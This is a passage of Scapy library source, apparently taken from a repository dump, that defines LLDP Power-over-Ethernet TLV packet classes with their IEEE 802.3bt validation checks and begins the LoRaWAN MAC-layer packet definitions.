BitFieldLenField('_oid_string_length', None, 8, length_of='object_id'),\n        XStrLenField('object_id', '',\n                     length_from=lambda pkt: pkt._oid_string_length),\n    ]\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode():\n            management_address_len = len(self.management_address)\n            if management_address_len == 0 or management_address_len > 31:\n                raise LLDPInvalidLengthField(\n                    'management address must be  1..31 characters long - '\n                    'got string of size {}'.format(management_address_len))\n\n\nclass ThreeBytesEnumField(EnumField, ThreeBytesField):\n\n    def __init__(self, name, default, enum):\n        EnumField.__init__(self, name, default, enum, \"!I\")\n\n\nclass LLDPDUGenericOrganisationSpecific(LLDPDU):\n\n    ORG_UNIQUE_CODE_PNO = 0x000ecf\n    ORG_UNIQUE_CODE_IEEE_802_1 = 0x0080c2\n    ORG_UNIQUE_CODE_IEEE_802_3 = 0x00120f\n    ORG_UNIQUE_CODE_TIA_TR_41_MED = 0x0012bb\n    ORG_UNIQUE_CODE_HYTEC = 0x30b216\n\n    ORG_UNIQUE_CODES = {\n        ORG_UNIQUE_CODE_PNO: \"PROFIBUS International (PNO)\",\n        ORG_UNIQUE_CODE_IEEE_802_1: \"IEEE 802.1\",\n        ORG_UNIQUE_CODE_IEEE_802_3: \"IEEE 802.3\",\n        ORG_UNIQUE_CODE_TIA_TR_41_MED: \"TIA TR-41 Committee . Media Endpoint Discovery\",  # noqa: E501\n        ORG_UNIQUE_CODE_HYTEC: \"Hytec Geraetebau GmbH\"\n    }\n\n    fields_desc = [\n        BitEnumField('_type', 127, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='data', adjust=lambda pkt, x: len(pkt.data) + 4),  # noqa: E501\n        ThreeBytesEnumField('org_code', 0, ORG_UNIQUE_CODES),\n        ByteField('subtype', 0x00),\n        XStrLenField('data', '',\n                     length_from=lambda pkt: 0 if pkt._length is None else\n                     pkt._length - 4)\n    ]\n\n    @staticmethod\n    def _match_organization_specific(payload):\n        return True\n\n\nclass LLDPDUPowerViaMDI(LLDPDUGenericOrganisationSpecific):\n    \"\"\"\n    Legacy PoE TLV originally defined in IEEE Std 802.1AB-2005 Annex G.3.\n\n    IEEE802.3bt-2018 - sec. 79.3.2.\n    \"\"\"\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.1\n    MDI_POWER_SUPPORT = {\n        (1 << 3): 'PSE pairs controlled',\n        (1 << 2): 'PSE MDI power enabled',\n        (1 << 1): 'PSE MDI power supported',\n        (1 << 0): 'port class PSE',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.2\n    PSE_POWER_PAIR = {\n        1: 'alt A',\n        2: 'alt B',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.3\n    POWER_CLASS = {\n        1: 'class 0',\n        2: 'class 1',\n        3: 'class 2',\n        4: 'class 3',\n        5: 'class 4 and above',\n    }\n\n    fields_desc = [\n        BitEnumField('_type', 127, 7, LLDPDU.TYPES),\n        BitField('_length', 7, 9),\n        ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3),  # noqa: E501\n        ByteField('subtype', 2),\n        FlagsField('MDI_power_support', 0, 8, MDI_POWER_SUPPORT),\n        ByteEnumField('PSE_power_pair', 1, PSE_POWER_PAIR),\n        ByteEnumField('power_class', 1, POWER_CLASS),\n    ]\n\n    @staticmethod\n    def _match_organization_specific(payload):\n        \"\"\"\n        match organization specific TLV\n        \"\"\"\n        return (orb(payload[5]) == 2 and orb(payload[1]) == 7\n                and bytes_int(payload[2:5]) ==\n                LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3)\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 7:\n            raise LLDPInvalidLengthField('length must be 7 - got '\n                                         '{}'.format(self._length))\n\n\nclass LLDPDUPowerViaMDIDDL(LLDPDUPowerViaMDI):\n    \"\"\"\n    PoE TLV with DLL classification extension specified in IEEE802.3at-2009\n\n    Note: power values are expressed in units of Watts,\n    converted to tenth of Watts internally\n\n    IEEE802.3bt-2018 - sec. 79.3.2\n    \"\"\"\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.4\n    POWER_TYPE_NO = {\n        1: 'type 1',\n        0: 'type 2',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.4\n    POWER_TYPE_DIR = {\n        1: 'PD',\n        0: 'PSE',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.4\n    POWER_SOURCE_PD = {\n        0b11: 'PSE and local',\n        0b10: 'reserved',\n        0b01: 'PSE',\n        0b00: 'unknown',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.4\n    POWER_SOURCE_PSE = {\n        0b11: 'reserved',\n        0b10: 'backup source',\n        0b01: 'primary source',\n        0b00: 'unknown',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.4\n    PD_4PID_SUP = {\n        0: 'not supported',\n        1: 'supported',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.4\n    POWER_PRIO = {\n        0b11: 'low',\n        0b10: 'high',\n        0b01: 'critical',\n        0b00: 'unknown',\n    }\n\n    fields_desc = [\n        BitEnumField('_type', 127, 7, LLDPDU.TYPES),\n        BitField('_length', 12, 9),\n        ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3),  # noqa: E501\n        ByteField('subtype', 2),\n        FlagsField('MDI_power_support', 0, 8, LLDPDUPowerViaMDI.MDI_POWER_SUPPORT),\n        ByteEnumField('PSE_power_pair', 1, LLDPDUPowerViaMDI.PSE_POWER_PAIR),\n        ByteEnumField('power_class', 1, LLDPDUPowerViaMDI.POWER_CLASS),\n        BitEnumField('power_type_no', 1, 1, POWER_TYPE_NO),\n        BitEnumField('power_type_dir', 1, 1, POWER_TYPE_DIR),\n        MultipleTypeField([\n            (\n                BitEnumField('power_source', 0b01, 2, POWER_SOURCE_PD),\n                lambda pkt: pkt.power_type_dir == 1\n            ),\n        ], BitEnumField('power_source', 0b01, 2, POWER_SOURCE_PSE)),\n        MultipleTypeField([\n            (\n                BitEnumField('PD_4PID', 0, 2, PD_4PID_SUP),\n                lambda pkt: pkt.power_type_dir == 1\n            ),\n        ], BitField('PD_4PID', 0, 2)),\n        BitEnumField('power_prio', 0, 2, POWER_PRIO),\n        ScalingField('PD_requested_power', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        ScalingField('PSE_allocated_power', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n    ]\n\n    @staticmethod\n    def _match_organization_specific(payload):\n        \"\"\"\n        match organization specific TLV\n        \"\"\"\n        return (orb(payload[5]) == 2 and orb(payload[1]) == 12\n                and bytes_int(payload[2:5]) ==\n                LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3)\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 12:\n            raise LLDPInvalidLengthField('length must be 12 - got '\n                                         '{}'.format(self._length))\n        # IEEE802.3bt-2018 - sec. 79.3.2.{5,6}\n        for field, description, max_value in [('PD_requested_power',\n                                               'PSE requested power',\n                                               99.9),\n                                              ('PSE_allocated_power',\n                                               'PSE allocated power',\n                                               99.9)]:\n            val = getattr(self, field)\n            if (conf.contribs['LLDP'].strict_mode() and val > max_value):\n                raise LLDPInvalidFieldValue(\n                    'exceeded maximum {} of {} - got '\n                    '{}'.format(description, max_value, val))\n\n\nclass LLDPDUPowerViaMDIType34(LLDPDUPowerViaMDIDDL):\n    \"\"\"\n    PoE TLV with DLL classification and type 3 and 4 extensions\n    specified in IEEE802.3bt-2018\n\n    Note: power values are expressed in units of Watts,\n    converted to tenth of Watts internally\n\n    IEEE802.3bt-2018 - sec. 79.3.2\n    \"\"\"\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6e\n    PSE_POWERING_STATUS = {\n        0b11: '4-pair powering dual-signature PD',\n        0b10: '4-pair powering single-signature PD',\n        0b01: '2-pair powering',\n        0b00: 'ignore',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6e\n    PD_POWERED_STATUS = {\n        0b11: '4-pair powered dual-signature PD',\n        0b10: '2-pair powered dual-signature PD',\n        0b01: 'powered single-signature PD',\n        0b00: 'ignore',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6e\n    PSE_POWER_PAIRS_EXT = {\n        0b11: 'both alts',\n        0b10: 'alt A',\n        0b01: 'alt B',\n        0b00: 'ignore',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6e\n    DUAL_SIGNATURE_POWER_CLASS = {\n        0b111: 'single-signature PD or 2-pair only PSE',\n        0b110: 'ignore',\n        0b101: 'class 5',\n        0b100: 'class 4',\n        0b011: 'class 3',\n        0b010: 'class 2',\n        0b001: 'class 1',\n        0b000: 'ignore',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6e\n    POWER_CLASS_EXT = {\n        0b1111: 'dual-signature pd',\n        0b1110: 'ignore',\n        0b1101: 'ignore',\n        0b1100: 'ignore',\n        0b1011: 'ignore',\n        0b1010: 'ignore',\n        0b1001: 'ignore',\n        0b1000: 'class 8',\n        0b0111: 'class 7',\n        0b0110: 'class 6',\n        0b0101: 'class 5',\n        0b0100: 'class 4',\n        0b0011: 'class 3',\n        0b0010: 'class 2',\n        0b0001: 'class 1',\n        0b0000: 'ignore',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6d\n    POWER_TYPE_EXT = {\n        0b111: 'ignore',\n        0b110: 'ignore',\n        0b101: 'type 4 dual-signature PD',\n        0b100: 'type 4 single-signature PD',\n        0b011: 'type 3 dual-signature PD',\n        0b010: 'type 3 single-signature PD',\n        0b001: 'type 4 PSE',\n        0b000: 'type 3 PSE',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6d\n    PD_LOAD = {\n        1: 'dual-signature and electrically isolated',\n        0: 'single-signature or not electrically isolated',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6h\n    AUTOCLASS = {\n        (1 << 2): 'PSE autoclass support',\n        (1 << 1): 'autoclass completed',\n        (1 << 0): 'autoclass request',\n    }\n\n    # IEEE802.3bt-2018 - sec. 79.3.2.6i\n    POWER_DOWN_REQ = {\n        0x1d: 'power down',\n        0: 'ignore',\n    }\n\n    fields_desc = [\n        BitEnumField('_type', 127, 7, LLDPDU.TYPES),\n        BitField('_length', 29, 9),\n        ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3),  # noqa: E501\n        ByteField('subtype', 2),\n        FlagsField('MDI_power_support', 0, 8, LLDPDUPowerViaMDI.MDI_POWER_SUPPORT),\n        ByteEnumField('PSE_power_pair', 1, LLDPDUPowerViaMDI.PSE_POWER_PAIR),\n        ByteEnumField('power_class', 1, LLDPDUPowerViaMDI.POWER_CLASS),\n        BitEnumField('power_type_no', 1, 1, LLDPDUPowerViaMDIDDL.POWER_TYPE_NO),\n        BitEnumField('power_type_dir', 1, 1, LLDPDUPowerViaMDIDDL.POWER_TYPE_DIR),\n        MultipleTypeField([\n            (\n                BitEnumField('power_source', 0b01, 2, LLDPDUPowerViaMDIDDL.POWER_SOURCE_PD),  # noqa: E501\n                lambda pkt: pkt.power_type_dir == 1\n            ),\n        ], BitEnumField('power_source', 0b01, 2, LLDPDUPowerViaMDIDDL.POWER_SOURCE_PSE)),  # noqa: E501\n        MultipleTypeField([\n            (\n                BitEnumField('PD_4PID', 0, 2, LLDPDUPowerViaMDIDDL.PD_4PID_SUP),\n                lambda pkt: pkt.power_type_dir == 1\n            ),\n        ], BitField('PD_4PID', 0, 2)),\n        BitEnumField('power_prio', 0, 2, LLDPDUPowerViaMDIDDL.POWER_PRIO),\n        ScalingField('PD_requested_power', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        ScalingField('PSE_allocated_power', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        ScalingField('PD_requested_power_mode_A', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        ScalingField('PD_requested_power_mode_B', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        ScalingField('PD_allocated_power_alt_A', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        ScalingField('PD_allocated_power_alt_B', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        BitEnumField('PSE_powering_status', 0, 2, PSE_POWERING_STATUS),\n        BitEnumField('PD_powered_status', 0, 2, PD_POWERED_STATUS),\n        BitEnumField('PD_power_pair_ext', 0, 2, PSE_POWER_PAIRS_EXT),\n        BitEnumField('dual_signature_class_mode_A',\n                     0b111, 3, DUAL_SIGNATURE_POWER_CLASS),\n        BitEnumField('dual_signature_class_mode_B',\n                     0b111, 3, DUAL_SIGNATURE_POWER_CLASS),\n        BitEnumField('power_class_ext', 0, 4, POWER_CLASS_EXT),\n        BitEnumField('power_type_ext', 0, 7, POWER_TYPE_EXT),\n        BitEnumField('PD_load', 0, 1, PD_LOAD),\n        ScalingField('PSE_max_available_power', 0, scaling=0.1,\n                     unit='W', ndigits=1, fmt='H'),\n        FlagsField('autoclass', 0, 8, AUTOCLASS),\n        BitEnumField('power_down_req', 0, 6, POWER_DOWN_REQ),\n        BitScalingField('power_down_time', 0, 18, unit='s'),\n    ]\n\n    @staticmethod\n    def _match_organization_specific(payload):\n        '''\n        match organization specific TLV\n        '''\n        return (orb(payload[5]) == 2 and orb(payload[1]) == 29\n                and bytes_int(payload[2:5]) ==\n                LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3)\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 29:\n            raise LLDPInvalidLengthField('length must be 29 - got '\n                                         '{}'.format(self._length))\n        # IEEE802.3bt-2018 - sec. 79.3.2.6{a..b,e,g}\n        for field, description, max_value in [('PD_requested_power',\n                                               'PSE requested power',\n                                               99.9),\n                                              ('PSE_allocated_power',\n                                               'PSE allocated power',\n                                               99.9),\n                                              ('PD_requested_power_mode_A',\n                                               'PD requested power mode A',\n                                               49.9),\n                                              ('PD_requested_power_mode_B',\n                                               'PD requested power mode B',\n                                               49.9),\n                                              ('PD_allocated_power_alt_A',\n                                               'PD allocated power alt A',\n                                               49.9),\n                                              ('PD_allocated_power_alt_B',\n                                               'PD allocated power alt B',\n                                               49.9),\n                                              ('PSE_max_available_power',\n                                               'PSE maximum available power',\n                                               99.9),\n                                              ('power_down_time',\n                                               'power down time',\n                                               262143)]:\n            val = getattr(self, field) or 0\n            if (conf.contribs['LLDP'].strict_mode() and val > max_value):\n                raise LLDPInvalidFieldValue(\n                    'exceeded maximum {} of {} - got '\n                    '{}'.format(description, max_value, val))\n\n\nclass LLDPDUPowerViaMDIMeasure(LLDPDUGenericOrganisationSpecific):\n    \"\"\"\n    PoE TLV measurements in IEEE802.3bt-2018\n\n    Note: power values are expressed in units of Watts,\n    converted to hundredths of Watts internally;\n    energy values are expressed in units of Joules,\n    converted to tenths of kilo-Joules internally;\n    voltage values are expressed in units of Volts,\n    converted to milli-Volts internally;\n    current values are expressed in units of Amperes,\n    converted to tenths of milli-Amperes internally.\n    PSE price index is converted internally.\n\n    IEEE802.3bt-2018 - sec. 79.3.8\n    \"\"\"\n\n    MEASURE_TYPE = {\n        (1 << 3): 'voltage',\n        (1 << 2): 'current',\n        (1 << 1): 'power',\n        (1 << 0): 'energy',\n    }\n\n    MEASURE_SOURCE = {\n        0b00: 'no request',\n        0b01: 'mode A',\n        0b10: 'mode B',\n        0b11: 'port total',\n    }\n\n    POWER_PRICE_INDEX = {\n        0xffff: 'not available',\n    }\n\n    @staticmethod\n    def _encode_ppi(val):\n        # IEEE802.3bt-2018 - sec. 79.3.8\n        return int(75046 / 2.512 * (val ** (1 / 5)) - 10046)\n\n    @staticmethod\n    def _decode_ppi(val):\n        # IEEE802.3bt-2018 - sec. 79.3.8\n        return ((val + 10046) * 2.512 / 75046) ** 5\n\n    fields_desc = [\n        BitEnumField('_type', 127, 7, LLDPDU.TYPES),\n        BitField('_length', 26, 9),\n        ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3),  # noqa: E501\n        ByteField('subtype', 8),\n        FlagsField('support', 0, 4, MEASURE_TYPE),\n        BitEnumField('source', 0, 4, MEASURE_SOURCE),\n        FlagsField('request', 0, 4, MEASURE_TYPE),\n        FlagsField('valid', 0, 4, MEASURE_TYPE),\n        ScalingField('voltage_uncertainty', 0, scaling=0.001,\n                     unit='V', ndigits=3, fmt='H'),\n        ScalingField('current_uncertainty', 0, scaling=0.0001,\n                     unit='A', ndigits=4, fmt='H'),\n        ScalingField('power_uncertainty', 0, scaling=0.01,\n                     unit='W', ndigits=2, fmt='H'),\n        ScalingField('energy_uncertainty', 0, scaling=100,\n                     unit='J', ndigits=0, fmt='H'),\n        ScalingField('voltage_measurement', 0, scaling=0.001,\n                     unit='V', ndigits=3, fmt='H'),\n        ScalingField('current_measurement', 0, scaling=0.0001,\n                     unit='A', ndigits=4, fmt='H'),\n        ScalingField('power_measurement', 0, scaling=0.01,\n                     unit='W', ndigits=2, fmt='H'),\n        ScalingField('energy_measurement', 0, scaling=100,\n                     unit='J', ndigits=0, fmt='I'),\n        ShortEnumField('power_price_index', 0xffff, POWER_PRICE_INDEX),\n    ]\n\n    def do_build(self):\n        backup_ppi = self.power_price_index\n        self.power_price_index = 0xffff if self.power_price_index == 0xffff \\\n            else LLDPDUPowerViaMDIMeasure._encode_ppi(self.power_price_index)\n        s = super(LLDPDUPowerViaMDIMeasure, self).do_build()\n        self.power_price_index = backup_ppi\n        return s\n\n    def post_dissect(self, s):\n        s = super(LLDPDUPowerViaMDIMeasure, self).post_dissect(s)\n        self.power_price_index = 0xffff if self.power_price_index == 0xffff \\\n            else LLDPDUPowerViaMDIMeasure._decode_ppi(self.power_price_index)\n        return s\n\n    @staticmethod\n    def _match_organization_specific(payload):\n        '''\n        match organization specific TLV\n        '''\n        return (orb(payload[5]) == 8 and orb(payload[1]) == 26\n                and bytes_int(payload[2:5]) ==\n                LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3)\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 26:\n            raise LLDPInvalidLengthField('length must be 26 - got '\n                                         '{}'.format(self._length))\n        # IEEE802.3bt-2018 - sec. 79.3.8\n        for field, description, max_value in [('voltage_uncertainty',\n                                               'voltage uncertainty',\n                                               65),\n                                              ('voltage_measurement',\n                                               'voltage measurement',\n                                               65),\n                                              ('current_uncertainty',\n                                               'current uncertainty',\n                                               6.5),\n                                              ('current_measurement',\n                                               'current measurement',\n                                               6.5),\n                                              ('energy_uncertainty',\n                                               'energy uncertainty',\n                                               6500000),\n                                              ('power_uncertainty',\n                                               'power uncertainty',\n                                               650),\n                                              ('power_measurement',\n                                               'power measurement',\n                                               650)]:\n            val = getattr(self, field) or 0\n            if (conf.contribs['LLDP'].strict_mode() and val > max_value):\n                raise LLDPInvalidFieldValue(\n                    'exceeded maximum {} of {} - got '\n                    '{}'.format(description, max_value, val))\n            val = self.power_price_index or 0xffff\n            if val > 65000 and val != 0xffff:\n                raise LLDPInvalidFieldValue(\n                    'exceeded maximum power price index of {} - got '\n                    '{}'.format(LLDPDUPowerViaMDIMeasure._decode_ppi(65000),\n                                LLDPDUPowerViaMDIMeasure._decode_ppi(val)))\n\n\n# 0x09 .. 0x7e is reserved for future standardization and for now treated as Raw() data  # noqa: E501\nLLDPDU_CLASS_TYPES = {\n    0x00: LLDPDUEndOfLLDPDU,\n    0x01: LLDPDUChassisID,\n    0x02: LLDPDUPortID,\n    0x03: LLDPDUTimeToLive,\n    0x04: LLDPDUPortDescription,\n    0x05: LLDPDUSystemName,\n    0x06: LLDPDUSystemDescription,\n    0x07: LLDPDUSystemCapabilities,\n    0x08: LLDPDUManagementAddress,\n    127: [\n        LLDPDUPowerViaMDI,\n        LLDPDUPowerViaMDIDDL,\n        LLDPDUPowerViaMDIType34,\n        LLDPDUPowerViaMDIMeasure,\n        LLDPDUGenericOrganisationSpecific,\n    ]\n}\n\n\nclass LLDPConfiguration(object):\n    \"\"\"\n    basic configuration for LLDP layer\n    \"\"\"\n\n    def __init__(self):\n        self._strict_mode = True\n        self.strict_mode_enable()\n\n    def strict_mode_enable(self):\n        \"\"\"\n        enable strict mode and dissector debugging\n        \"\"\"\n        self._strict_mode = True\n\n    def strict_mode_disable(self):\n        \"\"\"\n        disable strict mode and dissector debugging\n        \"\"\"\n        self._strict_mode = False\n\n    def strict_mode(self):\n        \"\"\"\n        get current strict mode state\n        \"\"\"\n        return self._strict_mode\n\n\nconf.contribs['LLDP'] = LLDPConfiguration()\n\nbind_layers(Ether, LLDPDU, type=LLDP_ETHER_TYPE)\nbind_layers(Dot1Q, LLDPDU, type=LLDP_ETHER_TYPE)\n"
  },
  {
    "path": "scapy/contrib/loraphy2wan.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2020  Sebastien Dudek (@FlUxIuS)\n\n# scapy.contrib.description = LoRa PHY to WAN Layer\n# scapy.contrib.status = loads\n\n\"\"\"\nLoRa PHY to WAN Layer\n\nInitially developed @PentHertz\nand improved at @Trend Micro\n\nSpec: lorawantm_specification v1.1\n\"\"\"\n\nfrom scapy.packet import Packet\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    BitFieldLenField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    IntField,\n    LEShortField,\n    MayEnd,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    StrField,\n    StrFixedLenField,\n    X3BytesField,\n    XBitField,\n    XByteField,\n    XIntField,\n    XLE3BytesField,\n    XLEIntField,\n    XShortField,\n)\n\n\nclass FCtrl_DownLink(Packet):\n    name = \"FCtrl_DownLink\"\n    fields_desc = [BitField(\"ADR\", 0, 1),\n                   BitField(\"ADRACKReq\", 0, 1),\n                   BitField(\"ACK\", 0, 1),\n                   BitField(\"FPending\", 0, 1),\n                   BitFieldLenField(\"FOptsLen\", 0, 4)]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass FCtrl_Link(Packet):\n    name = \"FCtrl_UpLink\"\n    fields_desc = [BitField(\"ADR\", 0, 1),\n                   BitField(\"ADRACKReq\", 0, 1),\n                   BitField(\"ACK\", 0, 1),\n                   BitField(\"UpClassB_DownFPending\", 0, 1),\n                   BitFieldLenField(\"FOptsLen\", 0, 4)]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass FCtrl_UpLink(Packet):\n    name = \"FCtrl_UpLink\"\n    fields_desc = [BitField(\"ADR\", 0, 1),\n                   BitField(\"ADRACKReq\", 0, 1),\n                   BitField(\"ACK\", 0, 1),\n                   BitField(\"ClassB\", 0, 1),\n                   BitFieldLenField(\"FOptsLen\", 0, 4)]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass DevAddrElem(Packet):\n    name = \"DevAddrElem\"\n    fields_desc = [XByteField(\"NwkID\", 0x0),\n                   XLE3BytesField(\"NwkAddr\", b\"\\x00\" * 3)]\n\n\nCIDs_up = {0x01: \"ResetInd\",\n           0x02: \"LinkCheckReq\",\n           0x03: \"LinkADRReq\",\n           0x04: \"DutyCycleReq\",\n           0x05: \"RXParamSetupReq\",\n           0x06: \"DevStatusReq\",\n           0x07: \"NewChannelReq\",\n           0x08: \"RXTimingSetupReq\",\n           0x09: \"TxParamSetupReq\",  # LoRa 1.1 specs\n           0x0A: \"DlChannelReq\",\n           0x0B: \"RekeyInd\",\n           0x0C: \"ADRParamSetupReq\",\n           0x0D: \"DeviceTimeReq\",\n           0x0E: \"ForceRejoinReq\",\n           0x0F: \"RejoinParamSetupReq\"}  # end of LoRa 1.1 specs\n\n\nCIDs_down = {0x01: \"ResetConf\",\n             0x02: \"LinkCheckAns\",\n             0x03: \"LinkADRAns\",\n             0x04: \"DutyCycleAns\",\n             0x05: \"RXParamSetupAns\",\n             0x06: \"DevStatusAns\",\n             0x07: \"NewChannelAns\",\n             0x08: \"RXTimingSetupAns\",\n             0x09: \"TxParamSetupAns\",  # LoRa 1.1 specs here\n             0x0A: \"DlChannelAns\",\n             0x0B: \"RekeyConf\",\n             0x0C: \"ADRParamSetupAns\",\n             0x0D: \"DeviceTimeAns\",\n             0x0F: \"RejoinParamSetupAns\"}  # end of LoRa 1.1 specs\n\n\nclass ResetInd(Packet):\n    name = \"ResetInd\"\n    fields_desc = [ByteField(\"Dev_version\", 0)]\n\n\nclass ResetConf(Packet):\n    name = \"ResetConf\"\n    fields_desc = [ByteField(\"Serv_version\", 0)]\n\n\nclass LinkCheckReq(Packet):\n    name = \"LinkCheckReq\"\n\n\nclass LinkCheckAns(Packet):\n    name = \"LinkCheckAns\"\n    fields_desc = [ByteField(\"Margin\", 0),\n                   ByteField(\"GwCnt\", 0)]\n\n\nclass DataRate_TXPower(Packet):\n    name = \"DataRate_TXPower\"\n    fields_desc = [XBitField(\"DataRate\", 0, 4),\n                   XBitField(\"TXPower\", 0, 4)]\n\n\nclass Redundancy(Packet):\n    name = \"Redundancy\"\n    fields_desc = [XBitField(\"RFU\", 0, 1),\n                   XBitField(\"ChMaskCntl\", 0, 3),\n                   XBitField(\"NbTrans\", 0, 4)]\n\n\nclass LinkADRReq(Packet):\n    name = \"LinkADRReq\"\n    fields_desc = [DataRate_TXPower,\n                   XShortField(\"ChMask\", 0),\n                   Redundancy]\n\n\nclass LinkADRAns_Status(Packet):\n    name = \"LinkADRAns_Status\"\n    fields_desc = [BitField(\"RFU\", 0, 5),\n                   BitField(\"PowerACK\", 0, 1),\n                   BitField(\"DataRate\", 0, 1),\n                   BitField(\"ChannelMaskACK\", 0, 1)]\n\n\nclass LinkADRAns(Packet):\n    name = \"LinkADRAns\"\n    fields_desc = [PacketField(\"status\",\n                               LinkADRAns_Status(),\n                               LinkADRAns_Status)]\n\n\nclass DutyCyclePL(Packet):\n    name = \"DutyCyclePL\"\n    fields_desc = [BitField(\"MaxDCycle\", 0, 4)]\n\n\nclass DutyCycleReq(Packet):\n    name = \"DutyCycleReq\"\n    fields_desc = [DutyCyclePL]\n\n\nclass DutyCycleAns(Packet):\n    name = \"DutyCycleAns\"\n    fields_desc = []\n\n\nclass DLsettings(Packet):\n    name = \"DLsettings\"\n    fields_desc = [BitField(\"OptNeg\", 0, 1),\n                   XBitField(\"RX1DRoffset\", 0, 3),\n                   XBitField(\"RX2_Data_rate\", 0, 4)]\n\n\nclass RXParamSetupReq(Packet):\n    name = \"RXParamSetupReq\"\n    fields_desc = [DLsettings,\n                   X3BytesField(\"Frequency\", 0)]\n\n\nclass RXParamSetupAns_Status(Packet):\n    name = \"RXParamSetupAns_Status\"\n    fields_desc = [XBitField(\"RFU\", 0, 5),\n                   BitField(\"RX1DRoffsetACK\", 0, 1),\n                   BitField(\"RX2DatarateACK\", 0, 1),\n                   BitField(\"ChannelACK\", 0, 1)]\n\n\nclass RXParamSetupAns(Packet):\n    name = \"RXParamSetupAns\"\n    fields_desc = [RXParamSetupAns_Status]\n\n\nBattery_state = {0: \"End-device connected to external source\",\n                 255: \"Battery level unknown\"}\n\n\nclass DevStatusReq(Packet):\n    name = \"DevStatusReq\"\n    fields_desc = [ByteEnumField(\"Battery\", 0, Battery_state),\n                   ByteField(\"Margin\", 0)]\n\n\nclass DevStatusAns_Status(Packet):\n    name = \"DevStatusAns_Status\"\n    fields_desc = [XBitField(\"RFU\", 0, 2),\n                   XBitField(\"Margin\", 0, 6)]\n\n\nclass DevStatusAns(Packet):\n    name = \"DevStatusAns\"\n    fields_desc = [DevStatusAns_Status]\n\n\nclass DrRange(Packet):\n    name = \"DrRange\"\n    fields_desc = [XBitField(\"MaxDR\", 0, 4),\n                   XBitField(\"MinDR\", 0, 4)]\n\n\nclass NewChannelReq(Packet):\n    name = \"NewChannelReq\"\n    fields_desc = [ByteField(\"ChIndex\", 0),\n                   X3BytesField(\"Freq\", 0),\n                   DrRange]\n\n\nclass NewChannelAns_Status(Packet):\n    name = \"NewChannelAns_Status\"\n    fields_desc = [XBitField(\"RFU\", 0, 6),\n                   BitField(\"Dataraterangeok\", 0, 1),\n                   BitField(\"Channelfrequencyok\", 0, 1)]\n\n\nclass NewChannelAns(Packet):\n    name = \"NewChannelAns\"\n    fields_desc = [NewChannelAns_Status]\n\n\nclass RXTimingSetupReq_Settings(Packet):\n    name = \"RXTimingSetupReq_Settings\"\n    fields_desc = [XBitField(\"RFU\", 0, 4),\n                   XBitField(\"Del\", 0, 4)]\n\n\nclass RXTimingSetupReq(Packet):\n    name = \"RXTimingSetupReq\"\n    fields_desc = [RXTimingSetupReq_Settings]\n\n\nclass RXTimingSetupAns(Packet):\n    name = \"RXTimingSetupAns\"\n    fields_desc = []\n\n\n# Specific commands for LoRa 1.1 here\n\nMaxEIRPs = {0: \"8 dbm\",\n            1: \"10 dbm\",\n            2: \"12 dbm\",\n            3: \"13 dbm\",\n            4: \"14 dbm\",\n            5: \"16 dbm\",\n            6: \"18 dbm\",\n            7: \"20 dbm\",\n            8: \"21 dbm\",\n            9: \"24 dbm\",\n            10: \"26 dbm\",\n            11: \"27 dbm\",\n            12: \"29 dbm\",\n            13: \"30 dbm\",\n           